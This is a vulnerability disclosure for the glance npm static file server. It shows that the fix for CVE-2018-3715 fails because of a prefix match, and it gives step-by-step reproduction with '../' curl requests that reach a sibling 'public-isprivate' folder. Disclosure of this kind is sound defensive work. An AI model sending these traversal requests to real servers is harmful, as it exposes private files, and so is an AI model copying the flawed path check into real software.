glance is a local HTTP file server, or as is it describes itself: a quick disposable http server for static files.
Observation:
- It only gets about 150 downloads a month
- It was last published at 19th of July 2020, two years ago.
Resources:
- Project's GitHub source code: https://github.com/jarofghosts/glance
- Project's npm package: https://www.npmjs.com/package/glance
The glance npm package was previously vulnerable to Directory Traversal as
reported via CVE-2018-3715,
yet the fix that was applied to mitigate this vulnerability was partial and
allowed room for further attacks to be employed on users of this library.
This vulnerability should probably be classified as a CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
- Install the latest version of
glance - Make sure you have a
public/directory with files in it - Make sure you have a
public-isprivatedirectory with files in it - Make sure you have a
private/directory with files in it
All directories above should share the same relative parent, meaning the directory structure should look as follows:
.
├── private
│ └── index.html
├── public
│ └── index.html
└── public-isprivate
└── index.html
Then, run glance as follows which sets the public root directory to the public/
directory that we previously created:
npx glance --dir "public" --verbose
The above should run within the local folder where all private/, public/,
and public-isprivate are subfolders.
Next, verify the following:
curl --path-as-is "http://localhost:8080/../private/index.html"-> this request is denied, as expected with prior vulnerability fix.curl --path-as-is "http://localhost:8080/../public/index.html"-> this request is allowed, as expected with the functionality of this local http servercurl --path-as-is "http://localhost:8080/../public-isprivate/index.html"-> this request SHOULD BE DENIED because it is outside thepublic/folder, but it is actually allowed.
Case (3) shouldn't happen, but it does, due to an improper fix in the library's source code.
Liran Tal